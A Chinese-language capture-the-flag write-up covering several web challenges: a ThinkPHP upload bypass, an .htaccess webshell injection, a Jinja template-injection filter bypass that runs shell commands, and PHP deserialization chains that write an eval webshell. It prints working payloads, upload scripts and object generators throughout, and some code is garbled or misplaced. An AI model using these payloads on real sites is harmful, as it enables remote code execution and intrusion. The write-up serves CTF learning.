目录
[HFCTF2020]BabyUpload
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {//文件名不能有php
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
第一眼就想,这应该是一个框架,这点是部分的源码。
首先,我们如何把文件上传上去呢,用html还是有隐藏的路由。
扫完目录就一些403并没有什么用。
用html上传后界面没有任何的响应
第一次接触thinkphp上传没经验,百度得知, thinkphp默认上传位置为/index.php/home/index/upload,我们可以用burp或者脚本上传文件。
upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
题目中只限制了 F I L E S [ f i l e ] ∗ ∗ 的上传后缀,也只给出 ∗ ∗ _FILES[file]** 的上传后缀,也只给出 ** FILES[file]∗∗的上传后缀,也只给出∗∗_FILES[file] 上传后的路径,那我们上传多文件就可以绕过
这句话的意思就是,
import requests
import time
url='http://48fb02f2-8f8a-4b5b-a927-1cf3e4f4c0f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1={'file':open('1.txt','r')}
file2={'file[]':open('2.php','r')}
r = requests.post(url,files = file1)
print(r.text)
r = requests.post(url,files = file2)
print(r.text)
r = requests.post(url,files = file1)
print(r.text)
只会检测第一个1.txt,而不会检测php的,然后通过uniqid来生成文件名,这样上传三个,我们就可以把中间的php锁定在一个范围然后就行爆破200.
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');这句话无用是因为,thinkphp中的函数时Exts
[XNUCA2019Qualifier]EasyPHP
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);//删除index.php之外的所有文件
}
}
}
include_once("fl3g.php"); //包含fl3g文件
if(!isset($_GET['content']) || !isset($_GET['filename'])) {//如果有不存在的参数
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";//参数中不能有 on html type flag upload file
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {//文件名不能以字母和.开头
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
思考:本来想直接传入文件然后传个一句话马,把后面注释掉。
但是我构造马的时候发现空格报错,于是用%0a替换空格
想办法把后面的东西注释掉,死亡绕过exit呀,
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== 本来想直接带入发现显示hacker,分析得知
if(preg_match("/[^a-z\.]/", $filename) == 1) {
里面只有小写字母和.,://统统不行,
本来想用多行注释发现也不行,
人傻了,上面的思路全部错掉,上面输入的filename文件,其实是没有权限执行php代码的,这点我们可以通过phpinfo();来得知仅仅是输出的作用。所以我们现在要做的就是如何让我们的文件执行!!!
.htaccess包含文件
第一种方法
如果将php代码写入.htaccess。代码前注释。访问index.php。就会自动包含.htaccess中的恶意代码
由于是先包含。再执行php代码。所以我们的恶意代码先执行。再删除.htaccess。我们就能获得一次执行命令的机会。
php_value auto_prepend_fi\
le ".htaccess"
#<?php @eval($_GET['cmd']); ?>\
这里注释的原因是,在php中#是注释符,但在.htaccess中#就没用了。
然后进行url编码生成
php_value%20auto_prepend_fi%5C%0Ale%20%22.htaccess%22%0A%23%3C%3Fphp%20%40eval(%24_GET%5B'cmd'%5D)%3B%20%3F%3E%5C
?filename=.htaccess&content=php_value auto_prepend_fi\%0Ale ".htaccess"%0A%23<%3Fphp %40eval(%24_GET['cmd'])%3B %3F>\
有个缺点就是每生成一次只能执行一次,因为执行完.htaccess就会删除
第二种方法
首先通过 error_log来自定义错误文件路径,如/tmp/fl3g.php,然后设置include_path来改变include()或require()函数包含文件的录路径,这里可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上,因此思路就是先include_path不存在的目录/+恶意代码,同时将报错日志路径设为/tmp/fl3g.php,然后访问报错后再将include_path设为/tmp,即可让index.php包含fl3g.php来getshell,但有个小问题error_log中的内容是htmlentities的,也就是说会将<>等特殊字符实体编码,需要转为utf-7来绕过
[GWCTF 2019]你的名字
打开界面以为是模板注入但是,{{3*3}}还是{%3%}都报错,看源码 newwork没啥有用的信息。
感觉这个输入框就只有打印的功能, 我输入什么就会输出什么,ok是我不会的题。
呃呃呃打开wp人傻了,只能形容会但会的不多。
也是通过报错推断出过滤了{{而没用过滤{,这里我用的是{%3*3%}发现回显的是,
返回500,这里看有的解释到是因为有的运算符也被办了,所以我们可以用另一种方法
{%print 'sfsfsf'%}
因为是无回显的所以加个print输出出来,name={%set a='1'%}赋值也可以没报错就是实现了。
然后这里的lipsum
用{{lipsum}}
测了一下发现是个方法
发现可以用,那就简单多了
{%print lipsum.__globals__.__builtins__.__import__('os').popen('whoami').read()%}
直接执行报错500有过滤,拼接绕:
{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('cat /f*').read()%}
{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('whoami')['read']())%}
或者分开绕过,获得flag
[EIS 2019]EzPOP
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
发现json加密的结果是这样子
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["shell"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
因为里面的绝大部分可控,最后是个绕过exit就行,固然base编码,绕过但是
<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>php(12个字符)//exit,base64是4个一体,所以需要补充三个字符 3+9=12随机三个就行
然后json编码会解析错误一些符号,所以需要base64编码绕过。
以下是我做题的笔记
this->cache 的值是可以自定义的
this->complete
```
$expire = $this->options['expire'];
```
```
$cache_filename = $this->options['prefix'] . uniqid() . $name; 直接$name=空
```
```
$serialize = $this->options['serialize'];
```
```
data的由来
$value
$contents
最后就是
[{"a":"12","b":"33"},12]
cache,complete
```
```
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
```
this->store=new B();
```
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); php://filter/write-decode/resource=
后面跟我们的base64加密数据,base64四个字节一组,17/20需要加3个
```
$content的值其实就是:
[{"a":"12","b":"33"},12]
cache,complete
```
set($this->key, $contents, $this->expire);
$name, $value, $expire = null
```
```
传入base64,然后过滤器解码写入,访问文件
```
然后访问shell.php,
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
这里写入文件中的是base64解码后的
[2020 新春红包题]1
这道题是在[EIS 2019]EzPOP题的基础上修改的,所以我们只看一下添加的过滤代码
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
发现加上了uniqid()这个函数根据时间产生唯一值,是一直变化,并且后缀名字做了检查不能是.php,检查方式是直接判断后四位是不是.php,需要我们想办法绕过它。
这里提个问题, $data = $this->serialize($value);我们为什么不直接让$this->serialize变成system直接命令执行不就好了吗,直接看value的值从哪来的
value->contents->cache 和 complete数据json编码获得的也可控,那么就要想如何绕过uuiqid(),看见了牛的姿势,理论很简单但是我真没想到,加上
/uploads/uuiqid().../shell.php,../返回目录那么其实就是调用了/uploads/shell.php
如何绕过后缀名呢
uploads/48342/../1.php/.会在uploads目录生成1.php。哇哦好神奇
方法一
还有一点就是json格式的数据会被执行吗,实践试试
发现json后的数据也会执行,这时候又想了一下如果有多个数组会不会都被执行
最终发现无论在哪只要 ``都可以执行🐂
构造一下试试,不能做理论家!
<?php
class A{
protected $store;
protected $key;
public $cache = [];
public function __construct () {
$this->store = new B();
$this->key = '1';
$this->cache = array('a'=>'`cat /flag > ./uploads/1.txt`');
}
}
class B{
public $options = [
'serialize' => 'system'
];
}
echo urlencode(serialize(new A()));
./指的是当前目录
这种都可以获得flag,上面的铺垫是为了方法二。
方法二
这个方法和上面的题思路差不多,把$serialize就作为serialize,然后用上面的方法进行绕过
但是在这里的时候我被卡住了,因为我们最后要绕过exit就需要base64编码绕过,但是上面从哪里就行编码呢
本来我想的是在serialize方法处直接,base64_encode(serialize())但是这种不能啊,因为传参进来就变成了base64_encode(serialize())();肯定不对
这里想了一下能不能直接上传base64编码后的数据,
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["shell"]);?>'));
$this->key = "/../she2.php/.";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
ps:md 早搞出来了,太马虎了程序,php命令写错了导致搞了好久。
直接传会报错好奇怪,应该是php内部直接解析的错误。